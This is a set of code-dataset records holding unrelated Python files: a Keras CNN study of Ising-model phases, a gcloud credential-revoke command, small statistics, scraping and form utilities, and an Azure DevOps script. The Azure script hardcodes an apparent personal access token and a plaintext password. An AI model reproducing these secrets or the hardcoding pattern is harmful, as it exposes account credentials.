f, h, w, c\n\n buffer_aug = [seq_det.augment_image(frame) for frame in buffer]\n buffer_aug = np.array(buffer_aug)\n buffer_reshape = buffer_aug.transpose((3, 0, 1, 2)) # c, l, h, w\n return buffer_reshape","sub_path":"ImageArg.py","file_name":"ImageArg.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"257535506","text":"# Copyright 2016 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Revoke credentials being used by Application Default Credentials.\"\"\"\n\nimport os\n\nfrom googlecloudsdk.api_lib.auth import util as auth_util\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.calliope import exceptions as c_exc\nfrom googlecloudsdk.core import log\nfrom googlecloudsdk.core.console import console_io\nfrom googlecloudsdk.core.credentials import store as c_store\nfrom oauth2client import client\n\n\nclass Revoke(base.SilentCommand):\n \"\"\"Revoke previously generated Application Default Credentials.\n\n Revokes Application Default Credentials that have been previously generated by\n `{parent_command} login` and deletes the local credential file.\n\n This does not effect any credentials set up through other means,\n for example credentials referenced by the Application Default Credentials\n environment variable or service account credentials that are active on\n a Google Compute Engine virtual machine.\n \"\"\"\n\n @staticmethod\n def Args(parser):\n pass\n\n def Run(self, args):\n \"\"\"Revoke Application Default Credentials.\"\"\"\n\n cred_file = auth_util.ADCFilePath()\n if not os.path.isfile(cred_file):\n raise c_exc.BadFileException(\n 'Application Default Credentials have not been set up, nothing was '\n 'revoked.')\n\n creds = client.GoogleCredentials.from_stream(cred_file)\n if creds.serialization_data['type'] != 'authorized_user':\n raise c_exc.BadFileException(\n 'The given credential file is a service account credential, and '\n 'cannot be revoked.')\n\n console_io.PromptContinue(\n 'You are about to revoke the credentials stored in: [{file}]'\n .format(file=cred_file),\n throw_if_unattended=True, cancel_on_no=True)\n\n c_store.RevokeCredentials(creds)\n os.remove(cred_file)\n log.status.Print('Credentials revoked.')\n","sub_path":"google-cloud-sdk/.install/.backup/lib/surface/auth/application_default/revoke.py","file_name":"revoke.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"122027919","text":"\"\"\"\nHypergeometric distribution example.\n\nThe hypergeometric distribution is a discrete probability distribution that \ndescribes the probability of k successes (random draws for which the object \ndrawn has a specified feature) in n draws, without replacement, from a finite \npopulation of size N that contains exactly K objects with that feature, wherein \neach draw is either a success or a failure.\n\"\"\"\nfrom scipy.stats import hypergeom\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Suppose we have a collection of 20 animals, of which 7 are dogs. Then if we\n# want to know the probability of finding a given number of dogs if we choose\n# at random 12 of the 20 animals, we can initialize a frozen distribution and\n# plot the probability mass function:\nM = 20\nN = 12\nn = 7\n\nrv = hypergeom(M, n, N)\nx = np.arange(0, n+1)\npmf_dogs = rv.pmf(x)\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.plot(x, pmf_dogs, 'bo')\nax.vlines(x, 0, pmf_dogs, lw=2)\nax.set_xlabel('# of dogs in our group of chosen animals')\nax.set_ylabel('Hypergeometric PMF')\nplt.show()\n\n# What is the probability we have exactly 4 dogs in our random sample?\nprint(\"Probability exactly 4 dogs: {:.3f}\".format(rv.pmf(4)))\n\n# What is the probability we have maximum 4 dogs in our random sample?\nprint(\"Probability maximum 4 dogs: {:.3f}\".format(rv.cdf(4)))\n\n# What is the probability we have minimum 4 dogs in our random sample?\nprint(\"Probability minimum 4 dogs: {:.3f}\".format(1 - rv.cdf(3)))\n\n\n","sub_path":"statistics/hypergeometric_distribution.py","file_name":"hypergeometric_distribution.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"514924280","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\n\nurl = 'https://preply.com/en/skype/english-tutoring-jobs'\n\nr= requests.get(url)\nprint(r.status_code)\n\nsoup = BeautifulSoup(r.content, 'html.parser')\n\nscript = soup.find_all('script')[6].string\n\ndata = json.loads(script)\n\nfor urls in data['itemListElement']:\n print(urls['url'])\n print(urls['name'])\n print(urls['position'])\n","sub_path":"scrapy_projt/soup_scrapy/b_soup_script.py","file_name":"b_soup_script.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"654409351","text":"from wtforms import form\n\n\nclass DataWrapper(dict):\n\n def __init__(self, handler):\n super(DataWrapper, self).__init__(handler.request.arguments)\n self.getlist = handler.get_arguments\n self.get = handler.get_argument\n\n def __getitem__(self, name):\n result = super(DataWrapper, self).__getitem__(name)\n if len(result) > 0:\n result = result[-1]\n return result\n\n\nclass Form(form.Form):\n\n def __init__(self, handler=None, **kwargs):\n if not handler is None:\n kwargs['formdata'] = DataWrapper(handler)\n super(Form, self).__init__(**kwargs)\n","sub_path":"tornado_ext/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"70268179","text":"# Usa cffi para ejecturar una función en C.\n# Se debe instalar cffi con pip install cffi\n\nfrom cffi import FFI\nffi = FFI()\nffi.cdef(\"\"\"\n int pruebaSuma(int,int);\n\"\"\")\n\nC = ffi.dlopen(\"liboperaciones.dll\")\n\nprint(C.pruebaSuma(9,5))","sub_path":"python/ejemplos/interfaceconc/operaciones.py","file_name":"operaciones.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"383686495","text":"import cv2 as cv\nimport numpy as np\nfrom lines import draw_lines\nfrom corners import draw_corners\nfrom testConnected import find_connected_corners\nfrom detectCycle import Graph\nfrom output import draw_molecule\n\nWINDOW_SIZE = (1024, 1024, 3)\nCOLOR_WHITE = (255, 255, 255)\nCOLOR_RED = (0, 0, 255)\nCOLOR_GREEN = (0, 255, 0)\nTHRESHOLD = 20\n\n\nsketch_lines = []\nsketch_lines_d = []\n\n\n# mouse callback function\ndef line_drawing(event, x, y, flags, param):\n global px, py\n if event == cv.EVENT_LBUTTONDOWN:\n px, py = x, y\n cv.circle(sketch, (x, y), 3, COLOR_RED, 5, cv.FILLED)\n elif event == cv.EVENT_LBUTTONUP:\n cv.line(sketch, (px, py), (x, y), color=COLOR_WHITE, thickness=2)\n cv.circle(sketch, (x, y), 3, COLOR_RED, 5, cv.FILLED)\n sketch_lines.append([px, py, x, y])\n sketch_lines_d.append([[px, py, x, y]])\n\n\n# Create a black image, a window and bind the function to window\nsketch = np.zeros(WINDOW_SIZE, np.uint8)\ncv.namedWindow('canvas')\ncv.setMouseCallback('canvas', line_drawing)\n\nwhile (1):\n # displays sketch in window canvas\n cv.imshow('canvas', sketch)\n\n # finds edges in sketch and return map\n # edges = cv.Canny(sketch, 150, 300)\n\n # finds lines in edges and returns map\n # lines = cv.HoughLinesP(edges, rho=1.0, theta=np.pi / 180, threshold=40, minLineLength=10, maxLineGap=10)\n\n # draw lines and stores endpoints coordinates in lines_array\n # line_img, lines_array = draw_lines(sketch, COLOR_GREEN, 2, lines)\n line_img, lines_array = draw_lines(sketch, COLOR_GREEN, 2, sketch_lines_d)\n\n # draw corners and stores coordinates in corners_array\n corners_img, corners_array = draw_corners(\n sketch, line_img, 100, 0.5, 30, THRESHOLD, COLOR_GREEN)\n\n # display corners in new window corners\n cv.imshow('corners & lines', corners_img)\n\n # moves windows to specific coordinates on screen\n # cv.moveWindow('corners & lines', 1350, 1100)\n # cv.moveWindow('canvas', 300, 1100)\n\n k = cv.waitKey(1) & 0xFF\n if k == ord('m'):\n sketch = np.zeros(WINDOW_SIZE, np.uint8)\n sketch_lines = []\n sketch_lines_d = []\n elif k == 27:\n break\n elif k == ord('n'):\n graph = find_connected_corners(\n corners_array, np.array(sketch_lines), THRESHOLD)\n draw_molecule(corners_array, graph, sketch)\n\ncv.destroyAllWindows()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"378472256","text":"def IsInvalidCost(Cost):\n try:\n float(Cost)\n return False\n except ValueError:\n return True\n\ndef CalculateTaxAmount(TaxRate, Cost):\n return (TaxRate / 100) * Cost\n\nNameOfItem = input(\"What is the name of the item that you are buying?\\n\")\nCostOfItem = input(\"What is the cost of the item that you are buying?\\n\")\n\nwhile(IsInvalidCost(CostOfItem)):\n CostOfItem = input(\"Invalid cost, please enter the cost of the item that you are buying\\n\")\n\nfor TaxRate in range(1, 6):\n TaxCost = CalculateTaxAmount(TaxRate * 5, float(CostOfItem))\n print(\"%d%% tax on %s costing %.2f is %.2f\" % (TaxRate * 5, NameOfItem, float(CostOfItem), TaxCost))","sub_path":"159.171/Tutorial 3/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"289724064","text":"import json\nimport numpy as np\nimport paddle.fluid as fluid\n\ndef iter():\n batch_size = 3\n with open(\"data/input.json\") as f:\n batch_title = []\n batch_click = []\n for line in f:\n info = json.loads(line.strip('\\n'))\n title = [int(x) for x in info[\"item_info\"][0][\"title\"]]\n click = [int(info[\"item_info\"][0][\"click\"])]\n batch_title.append(title)\n batch_click.append(click)\n if len(batch_title) == batch_size:\n title_data = np.asarray(batch_title, dtype=\"int64\")\n # print(\"title_data: \", title_data)\n title_data.reshape([batch_size, 1, 1, len(title)])\n '''\n shapes = [len(c) for c in title_data]\n place = fluid.CPUPlace()\n title_data = fluid.create_lod_tensor(title_data.reshape(-1, 1), shapes, place)\n '''\n click_data = np.asarray(batch_click, dtype=\"int64\")\n yield (title_data, click_data)\n batch_title = []\n batch_click = []\n","sub_path":"python/paddle_fl/split_learning/examples/mlp_example_dygraph/data_iter.py","file_name":"data_iter.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"494754885","text":"# links: \n# https://www.diycode.cc/projects/Microsoft/azure-devops-python-api\n\nfrom azure.devops.connection import Connection\nfrom msrest.authentication import BasicAuthentication\nfrom azure.devops.v5_1.task_agent import TaskAgentClient\nfrom azure.devops.v5_1.task_agent.models import VariableGroupParameters\nfrom azure.devops.v5_1.task_agent.models import VariableGroupProviderData\nimport pprint\n\n# Authentication Variables - Organization URL and Personal Access Token (PAT): \norgaznization_url = 'https://dev.azure.com/krzysztofPyORG/'\npersonal_access_token = 'd7xabidkdsdtprbsrbtzeflzg27apwogolqmjeg35dtg6n66f5ha'\n\n# Create a connection to Organization\ncredentials = BasicAuthentication('',personal_access_token)\nconnection = Connection(orgaznization_url,credentials)\nproject_name = 'FirstProject'\n\nvgclient = connection.clients_v5_1.get_task_agent_client()\nget_vg_response = vgclient.get_variable_groups(project_name)\nfor i in get_vg_response:\n pprint.pprint(i.name)\n pprint.pprint(i.type)\n for item,val in i.variables.items():\n pprint.pprint(item)\n pprint.pprint(val)\n\ndictionary1 = {\n \"sfUsername\": {\"value\": \"user@user.com\", \"isSecret\": \"false\"},\n \"sfPassword\": {\"value\": \"Qwerty123\", \"isSecret\": \"true\"},\n \"sfServerUrl\": {\"value\": \"test.test.com\", \"isSecret\": \"false\"}\n}\nvgclient2 = connection.clients_v5_1.get_task_agent_client()\nvariableGrupa = VariableGroupParameters(description=\"Test description\",name='testowaPythonowa333',provider_data=None,type=\"Vsts\",variables=dictionary1)\nvgclient2.add_variable_group(group=variableGrupa,project='FirstProject')\n","sub_path":"Second.py","file_name":"Second.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"157554735","text":"import numpy as np\n\nclass NeuralNetwork:\n def __init__(self, *layers):\n self.layers = layers\n self.setWeights()\n \n def sigmoid (self, x): return 1/(1 + np.exp(-x))\n def sigmoid_(self, x): return x * (1 - x)\n \n def setWeights(self):\n self.weights = []\n self.hiddens = []\n self.dHiddens = []\n for i in range(len(self.layers)-1):\n self.weights.append(np.random.uniform(size=(self.layers[i], self.layers[i+1])))\n self.hiddens.append(0)\n self.dHiddens.append(0)\n self.length = len(self.hiddens) - 1\n \n def update(self, x_train, y_train, epochs, learning_rate):\n for i in range(epochs):\n self.hiddens[0] = self.sigmoid(np.dot(x_train, self.weights[0]))\n for i in range(self.length):\n self.hiddens[i+1] = self.sigmoid(np.dot(self.hiddens[i], self.weights[i+1]))\n E = y_train - self.hiddens[self.length]\n self.dHiddens[self.length] = E * self.sigmoid_(self.hiddens[self.length])\n for i in reversed(range(self.length)):\n self.dHiddens[i] = self.dHiddens[i+1].dot(self.weights[i+1].T) * self.sigmoid_(self.hiddens[i])\n for i in reversed(range(self.length)):\n self.weights[i+1] += learning_rate * self.hiddens[i].T.dot(self.dHiddens[i+1])\n self.weights[0] += learning_rate * x_train.T.dot(self.dHiddens[0])\n return self.hiddens[self.length]\n \n def predict(self, x_test):\n self.hiddens[0] = self.sigmoid(np.dot(x_test, self.weights[0]))\n for i in range(self.length):\n self.hiddens[i+1] = self.sigmoid(np.dot(self.hiddens[i], self.weights[i+1]))\n return self.hiddens[self.length]","sub_path":"ANN/Neural Racer/NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"221571257","text":"#! /usr/bin/env python3\n# Coraline Letouzé \n# last revision 1 jan 2021\n# CNN.py\n# goal : classify the Ising phases with a CNN\n\n################## IMPORTS ################\n\n# numpy for arrays\nimport numpy as np\n\n# pickle for saving the datasets\nimport pickle as pkl\n\n# matplotlib for plotting\nimport matplotlib.pyplot as plt\nfrom matplotlib.cm import coolwarm, gray\n\n# machine learning\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\n\n# keras\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.callbacks import EarlyStopping\nfrom keras.models import load_model\nfrom keras.callbacks import LearningRateScheduler\n\n################### FUNCTIONS ###################\"\"\n\ndef train_set(size, path_ordered, path_disordered):\n \"\"\"\n Build a training set of ordered and disordered samples.\n \n arg size (int): number of samples in the returned training set\n arg path_ordered (str): paths to the ordered, CNN-preprocessed set\n arg path_disordered (str): paths to the disordered, CNN-preprocessed set\n \n return x, y: array of samples, array of features\n \"\"\"\n # ratio ordered/disordered samples: 7:6\n ordered_size = int(size * 7/13)\n disordered_size = size - ordered_size\n \n with open(path_ordered, 'rb') as file_in:\n x_load, y_load = pkl.load(file_in)\n x_ordered = x_load[:ordered_size]\n y_ordered = y_load[:ordered_size]\n\n with open(path_disordered, 'rb') as file_in:\n x_load, y_load = pkl.load(file_in)\n x_disordered = x_load[:disordered_size]\n y_disordered = y_load[:disordered_size]\n \n x = np.concatenate((x_ordered, x_disordered), axis=0)\n y = np.concatenate((y_ordered, y_disordered), axis=0)\n x, y = shuffle(x, y)\n \n return x, y\n \n \ndef test_set(size, path):\n \"\"\"\n Build a test set of near-critical samples.\n \n arg size (int): number of samples in the test set\n \n return x, y: array of samples, array of features\n \"\"\"\n with open(path, 'rb') as file_in:\n x_load, y_load = pkl.load(file_in)\n x = x_load[:size]\n y = y_load[:size]\n\n return x, y\n\ndef plot_metrics(rec, metrics='accuracy', test=False, savepath=''):\n \"\"\" \n Plot the training history of the model.\n \n arg rec: a dictionary returned by model.fit()\n arg metrics: (str) the metrics that will be plotted\n arg test: (bool) if True, also plot the test values\n arg savepath (str): if non-empty, the figure is saved in the \n specified file\n \"\"\"\n plt.plot(rec[metrics], 'o--', label='training')\n plt.plot(rec['val_'+metrics], 's--', label='validate')\n if test:\n plt.plot(rec['test_'+metrics], 'x--', label='test')\n plt.title(metrics+\" history\")\n plt.xlabel(\"epochs\")\n plt.ylabel(metrics)\n plt.grid()\n plt.legend()\n if savepath != '':\n plt.savefig(savepath)\n plt.show()\n plt.clf()\n \ndef create_CNN(input_shape=(40,40,1), n_Conv2D=[8, 16, 16], kernel=4, \n learning_rate=1e-4, dropout=0.0, summary=False):\n \"\"\" \n Build and compile the CNN model.\n \n arg input_shape: shape of the input images\n arg n_Conv2D: a list of the number of convolutionnal kernels per layer\n arg learning_rate: learning rate of the optimizer (Adam)\n arg dropout: dropout ratio (float between 0. and 1.0)\n arg summary: (bool) if True, print the model summary\n \n return : the compiled model\n \"\"\"\n model = Sequential()\n\n model.add(Conv2D(n_Conv2D[0], kernel_size=(kernel, kernel), \n activation='relu', input_shape=input_shape))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n \n for layer in range(1, len(n_Conv2D)):\n model.add(Conv2D(n_Conv2D[layer], kernel_size=(kernel, kernel), \n activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n \n model.add(Flatten())\n model.add(Dense(32, activation='relu'))\n model.add(Dense(1, activation='sigmoid'))\n \n loss_fct = keras.losses.BinaryCrossentropy()\n opt = keras.optimizers.Adam(learning_rate = learning_rate)\n\n model.compile(loss=loss_fct, optimizer='Adam', metrics=['accuracy'])\n \n if summary:\n model.summary()\n print(\"\\n Additional parameters: \")\n print(\"kernel size: \", kernel)\n print(\"pooling size: \", 2)\n print(\"dropout: \", dropout)\n print(\"optimizer: Adam\")\n print(\"learning rate: \", learning_rate)\n print(\"loss: BinaryCrossentropy()\")\n print()\n \n return model\n\nclass Monitor(keras.callbacks.Callback):\n \"\"\" Monitor an additional set during training.\"\"\"\n \n def __init__(self, x, y, name='test'):\n \"\"\" \n Initialization.\n arg dataset: a list [x, y]\n \"\"\"\n self.x = x\n self.y = y\n self.name = name\n \n def on_epoch_end(self, epoch, logs):\n \"\"\" Add the test score to the logs.\"\"\"\n scores = self.model.evaluate(self.x, self.y, verbose=0) \n logs[self.name+'_loss'] = scores[0]\n logs[self.name+'_accuracy'] = scores[1]\n \n \ndef create_CNN_regressor(input_shape=(40,40,1), n_Conv2D=[8, 16], kernel=4, \n learning_rate=1e-4, dropout=0.0, summary=False):\n \"\"\" \n Build and compile the CNN model for temperature regression.\n \n arg input_shape: shape of the input images\n arg n_Conv2D: a list of the number of convolutionnal kernels per layer\n arg learning_rate: learning rate of the optimizer (Adam)\n arg dropout: dropout ratio (float between 0. and 1.0)\n arg summary: (bool) if True, print the model summary\n \n return : the compiled model\n \"\"\"\n model = Sequential()\n\n model.add(Conv2D(n_Conv2D[0], kernel_size=(kernel, kernel), \n activation='relu', input_shape=input_shape))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n \n for layer in range(1, len(n_Conv2D)):\n model.add(Conv2D(n_Conv2D[layer], kernel_size=(kernel, kernel), \n activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n \n model.add(Flatten())\n model.add(Dense(32, activation='relu'))\n model.add(Dense(1, activation='linear'))\n \n loss_fct = keras.losses.MeanSquaredError()\n opt = keras.optimizers.Adam(learning_rate = learning_rate)\n\n model.compile(loss=loss_fct, optimizer='Adam', metrics=['mae'])\n\n return model\n \ndef scheduler(epoch, lr):\n \"\"\" A simple learning_rate Scheduler.\"\"\"\n if epoch % 2 == 0:\n return lr/10\n else:\n return lr \n\n###################### DATASET ############################\n\nimg_row, img_col = 40, 40\ninput_shape = (img_row, img_col, 1)\n\nferromagnetic = True\n\nif ferromagnetic:\n build_datasets = False\n # if there is no dataset\n if build_datasets: \n print(\"Building the datasets...\")\n # Build train set\n path_ordered = 'ferro_ordered_CNN.pkl'\n path_disordered = 'ferro_disordered_CNN.pkl'\n X, Y = train_set(5000, path_ordered, path_disordered)\n X_train, X_val, Y_train, Y_val = train_test_split(X, Y, test_size=0.2)\n print(\"Training samples: \", np.shape(X_train))\n print(\"Training labels: \", np.shape(Y_train))\n print(\"Validation samples: \", np.shape(X_val))\n T_train, L_train = Y_train[:, 0], Y_train[:, 1]\n T_val, L_val = Y_val[:, 0], Y_val[:, 1]\n # Build test set\n path_critical = 'ferro_critical_CNN.pkl'\n X_test, Y_test = test_set(1000, path_critical)\n T_test, L_test = Y_test[:, 0], Y_test[:, 1]\n \n # save \n print(\"Saving the datasets...\")\n dump_train = (X_train, L_train, T_train) \n with open(\"datasets_train.pkl\", \"wb\") as file_out:\n pkl.dump(dump_train, file_out)\n dump_val = (X_val, L_val, T_val)\n with open(\"datasets_val.pkl\", \"wb\") as file_out:\n pkl.dump(dump_val, file_out)\n dump_test = (X_test, L_test, T_test)\n with open(\"datasets_test.pkl\", \"wb\") as file_out:\n pkl.dump(dump_test, file_out)\n \n #if the data sets already exist : \n else:\n # load \n print(\"Loading the datasets...\")\n with open(\"datasets_train.pkl\", \"rb\") as file_in:\n load_data = pkl.load(file_in)\n X_train, L_train, T_train = load_data\n with open(\"datasets_val.pkl\", \"rb\") as file_in:\n load_data = pkl.load(file_in)\n X_val, L_val, T_val = load_data\n with open(\"datasets_test.pkl\", \"rb\") as file_in:\n load_data = pkl.load(file_in)\n X_test, L_test, T_test = load_data\n \n \n# antiferromagnetic ###############################\"\nelse:\n print(\"Building the ANTI datasets ...\")\n\n path_ordered = './anti_ordered_CNN.pkl'\n with open(path_ordered, 'rb') as file_in:\n x_ordered, y_ordered = pkl.load(file_in)\n \n path_disordered = './anti_disordered_CNN.pkl'\n with open(path_disordered, 'rb') as file_in:\n x_disordered, y_disordered = pkl.load(file_in)\n \n X_train = np.concatenate((x_ordered, x_disordered), axis=0)\n Y_train = np.concatenate((y_ordered, y_disordered), axis=0)\n X_train, Y_train = shuffle(X_train, Y_train)\n \n X_train, X_val, Y_train, Y_val = train_test_split(X_train, Y_train, test_size=0.3)\n L_train, L_val = Y_train[:, 1], Y_val[:, 1]\n \n path_critical = './anti_critical_CNN.pkl'\n with open(path_critical, 'rb') as file_in:\n X_test, Y_test = pkl.load(file_in) \n L_test = Y_test[:, 1]\n \n print(\"DONE\")\n \n # Callback\n monitor = Monitor(X_test, L_test)\n stopping = EarlyStopping(monitor='val_accuracy', patience=2)\n print(\"Callbacks:\")\n print(\" - Monitor(X_test, L_test)\")\n print(\" - EarlyStopping(monitor='val_accuracy', patience=0)\")\n \n #model\n model = create_CNN(n_Conv2D=[8, 16])\n history = model.fit(X_train, L_train, epochs=5, batch_size=64, \n verbose=0, validation_data=(X_val, L_val), \n callbacks=[monitor, stopping]) \n \n scores_test = model.evaluate(X_test, L_test, verbose=0)\n scores_val = model.evaluate(X_val, L_val, verbose=0)\n print(\"Test score:\", scores_test)\n print(\"Val scores:\", scores_val)\n \n #plot training history\n plt.plot(history.history['accuracy'], 'o--', label='train')\n plt.plot(history.history['val_accuracy'], 's--', label='val')\n plt.plot(history.history['test_accuracy'], 'x--', label='test')\n plt.xlabel(\"epoch\")\n plt.ylabel(\"Accuracy\")\n plt.title(\"Training history on the antiferromagnetic dataset\")\n plt.legend()\n plt.savefig(\"../report/fig/CNN_anti_history.png\")\n plt.show()\n \n #plot kernel weights\n model = Sequential()\n layer = Conv2D(6, kernel_size=(3, 3), \n activation='relu', input_shape=input_shape)\n model.add(layer)\n model.add(MaxPooling2D(pool_size=(3, 3)))\n model.add(Flatten())\n model.add(Dense(16, activation='relu'))\n model.add(Dense(1, activation='sigmoid'))\n loss_fct = keras.losses.BinaryCrossentropy()\n opt = keras.optimizers.Adam()\n model.compile(loss=loss_fct, optimizer='Adam', metrics=['accuracy'])\n\n model.fit(X_train, L_train, epochs=5, batch_size=64, verbose=1)\n print(\"Val score: \", model.evaluate(X_val, L_val))\n print(\"Test score: \", model.evaluate(X_test, L_test))\n \n #https://machinelearningmastery.com/how-to-visualize-filters-and-feature-maps-in-convolutional-neural-networks/\n # get filter weights\n filters, biases = layer.get_weights()\n print(layer.name, filters.shape)\n # normalize filter values to 0-1 so we can visualize them\n f_min, f_max = filters.min(), filters.max()\n filters = (filters - f_min) / (f_max - f_min)\n # plot first few filters\n n_filters = 6\n for i in range(n_filters):\n # get the filter\n f = filters[:, :, :, i]\n # specify subplot and turn of axis\n ax = plt.subplot(2, 3, i+1)\n ax.set_xticks([])\n ax.set_yticks([])\n # plot filter channel in grayscale\n plt.imshow(f[:, :, 0], cmap='gray')\n # show the figure\n plt.show()\n \n######################### KERNEL WEIGHTS ##################\n\nplot_filters = True\nif plot_filters:\n \n model = Sequential()\n layer = Conv2D(6, kernel_size=(3, 3), \n activation='relu', input_shape=input_shape)\n model.add(layer)\n model.add(MaxPooling2D(pool_size=(3, 3)))\n model.add(Flatten())\n model.add(Dense(1, activation='sigmoid'))\n loss_fct = keras.losses.BinaryCrossentropy()\n opt = keras.optimizers.Adam()\n model.compile(loss=loss_fct, optimizer='Adam', metrics=['accuracy'])\n\n model.fit(X_train, L_train, epochs=3, batch_size=64, verbose=1)\n print(\"Val score: \", model.evaluate(X_val, L_val))\n print(\"Test score: \", model.evaluate(X_test, L_test))\n \n #https://machinelearningmastery.com/how-to-visualize-filters-and-feature-maps-in-convolutional-neural-networks/\n # get filter weights\n filters, biases = layer.get_weights()\n print(layer.name, filters.shape)\n # normalize filter values to 0-1 so we can visualize them\n f_min, f_max = filters.min(), filters.max()\n filters = (filters - f_min) / (f_max - f_min)\n # plot first few filters\n n_filters = 6\n for i in range(n_filters):\n # get the filter\n f = filters[:, :, :, i]\n # specify subplot and turn of axis\n ax = plt.subplot(2, 3, i+1)\n ax.set_xticks([])\n ax.set_yticks([])\n # plot filter channel in grayscale\n plt.imshow(f[:, :, 0], cmap='gray')\n # show the figure\n plt.show()\n\n################## WHERE ARE THE WRONG LABELS ? ########################\n\nwrong_labels = False\nif wrong_labels:\n \n # Callback\n monitor = Monitor(X_test, L_test)\n stopping = EarlyStopping(monitor='val_accuracy', patience=0)\n print(\"Callbacks:\")\n print(\" - Monitor(X_test, L_test)\")\n print(\" - EarlyStopping(monitor='val_accuracy', patience=0)\")\n \n # model\n model = create_CNN(n_Conv2D=[6])\n history = model.fit(X_train, L_train, epochs=15, batch_size=64, \n verbose=0, validation_data=(X_val, L_val), \n callbacks=[monitor, stopping])\n scores_test = model.evaluate(X_test, L_test, verbose=0)\n scores_val = model.evaluate(X_val, L_val, verbose=0)\n print(\"Test score:\", scores_test)\n print(\"Val scores:\", scores_val)\n \n L_pred = np.round(model.predict(X_test).reshape((-1, )), 0)\n print(\"Predicted labels: \", L_pred.shape)\n print(L_pred[:10])\n wrong_pred = np.nonzero(L_test - L_pred)[0]\n print((L_test-L_pred).shape)\n print(\"Wrong labels: \", wrong_pred.shape)\n tot_wrong = wrong_pred.shape[0]\n print(\"Total wrong labels: \", tot_wrong)\n\n wrong_200 = np.nonzero(T_test[wrong_pred] - 2.00)[0]\n print(\"Wrong labels on T=2.0: \", tot_wrong - wrong_200.shape[0])\n \n wrong_225 = np.nonzero(T_test[wrong_pred] - 2.25)[0]\n print(\"Wrong labels on T=2.25: \", tot_wrong-wrong_225.shape[0])\n\n wrong_250 = np.nonzero(T_test[wrong_pred] - 2.50)[0]\n print(\"Wrong labels on T=2.50: \", tot_wrong - wrong_250.shape[0])\n\n################# Temperature prediction ################\ntemp_prediction = False\nif temp_prediction:\n \n print(\"Temperature regression with CNN\")\n\n #callback\n schedule = LearningRateScheduler(scheduler)\n stopping = EarlyStopping(monitor='val_mae')\n \n # create and train\n CNNreg = create_CNN_regressor()\n history = CNNreg.fit(X_train, T_train, batch_size=64, epochs=10,\n callbacks=[schedule, stopping], verbose=0, \n validation_data=(X_val, T_val))\n\n #plot training history\n plt.plot(history.history['loss'], 'o--', label='train')\n plt.plot(history.history['val_loss'], 's--', label='val')\n plt.xlabel(\"epoch\")\n plt.ylabel(\"Mean Squared Error\")\n plt.title(\"Training history of the CNN regressor\")\n plt.legend()\n plt.savefig(\"../report/fig/CNNreg_history.png\")\n plt.show()\n \n # evaluate on test set\n scores_val = CNNreg.evaluate(X_val, T_val, verbose=0)\n print(\"Scores on the val set: \", scores_val)\n scores_test = CNNreg.evaluate(X_test, T_test, verbose=0)\n print(\"Scores on the test set: \", scores_test)\n \n # predict temperature over the whole range\n X_plot = np.concatenate((X_val, X_test), axis=0)\n T_plot = np.concatenate((T_val, T_test), axis=0)\n T_pred = CNNreg.predict(X_plot).reshape(-1, )\n AE_pred = np.abs(T_pred - T_plot)\n #plot \n plt.scatter(T_plot, T_pred, c=AE_pred)\n plt.colorbar()\n plt.xlabel(\"Temperature\")\n plt.ylabel(\"Prediction\")\n plt.plot(T_plot, T_plot, 'ko--')\n plt.xlim([0, 4])\n plt.ylim([0, 4])\n plt.title(\"Predictions VS real values\")\n plt.savefig(\"../report/fig/CNN_temp_predictions.png\")\n plt.show()\n\n################### Learning rate ####################\n \nstudy_learning_rate = False\nif study_learning_rate:\n \n print(\"\\n Studying the learning rate...\")\n \n # Callback\n monitor = Monitor(X_test, L_test)\n stopping = EarlyStopping(monitor='accuracy', patience=2)\n print(\"Callbacks:\")\n print(\" - Monitor(X_test, L_test)\")\n print(\" - EarlyStopping(monitor='accuracy', patience=2)\")\n \n # Parameter 